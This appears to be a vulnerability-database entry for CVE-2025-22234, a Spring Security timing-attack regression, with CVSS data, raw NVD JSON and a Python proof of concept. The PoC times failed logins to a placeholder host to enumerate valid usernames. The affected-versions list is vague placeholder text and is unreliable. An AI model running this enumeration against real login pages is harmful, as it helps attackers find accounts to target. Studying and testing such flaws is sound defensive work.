Security Vulnerability Report
中文
CVE-2025-22234 CVSS 5.3 MEDIUM

CVE-2025-22234

Published: 2026-01-22 21:15:49
Last Modified: 2026-04-15 00:35:42

Description

The fix applied in CVE-2025-22228 inadvertently broke the timing attack mitigation implemented in DaoAuthenticationProvider. This can allow attackers to infer valid usernames or other authentication behavior via response-time differences under certain configurations.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Spring Security < 受CVE-2025-22234影响的具体版本
使用DaoAuthenticationProvider的所有Spring Security版本
Spring Framework相关版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import time import requests # CVE-2025-22234 Timing Attack PoC # Target: VMware Spring Security applications TARGET_URL = "http://target.com/login" USERNAMES = ["admin", "user", "test", "root", "guest"] def timing_attack(username): """Measure response time for username enumeration""" times = [] data = { "username": username, "password": "wrong_password_12345" } for _ in range(10): start = time.time() response = requests.post(TARGET_URL, data=data, timeout=10) elapsed = time.time() - start times.append(elapsed) avg_time = sum(times) / len(times) return avg_time def main(): print("CVE-2025-22234 Timing Attack PoC") print("=" * 50) results = {} for user in USERNAMES: avg = timing_attack(user) results[user] = avg print(f"Username: {user:15} | Avg Response: {avg:.4f}s") # Identify valid usernames by longer response time valid = [u for u, t in results.items() if t > 0.1] print(f"\nPotential valid usernames: {valid}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22234", "sourceIdentifier": "[email protected]", "published": "2026-01-22T21:15:49.420", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The fix applied in CVE-2025-22228 inadvertently broke the timing attack mitigation implemented in DaoAuthenticationProvider. This can allow attackers to infer valid usernames or other authentication behavior via response-time differences under certain configurations."}, {"lang": "es", "value": "La corrección aplicada en CVE-2025-22228 rompió inadvertidamente la mitigación de ataques de temporización implementada en DaoAuthenticationProvider. Esto puede permitir a los atacantes inferir nombres de usuario válidos u otro comportamiento de autenticación a través de diferencias en el tiempo de respuesta bajo ciertas configuraciones."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://spring.io/security/cve-2025-22234/", "source": "[email protected]"}]}}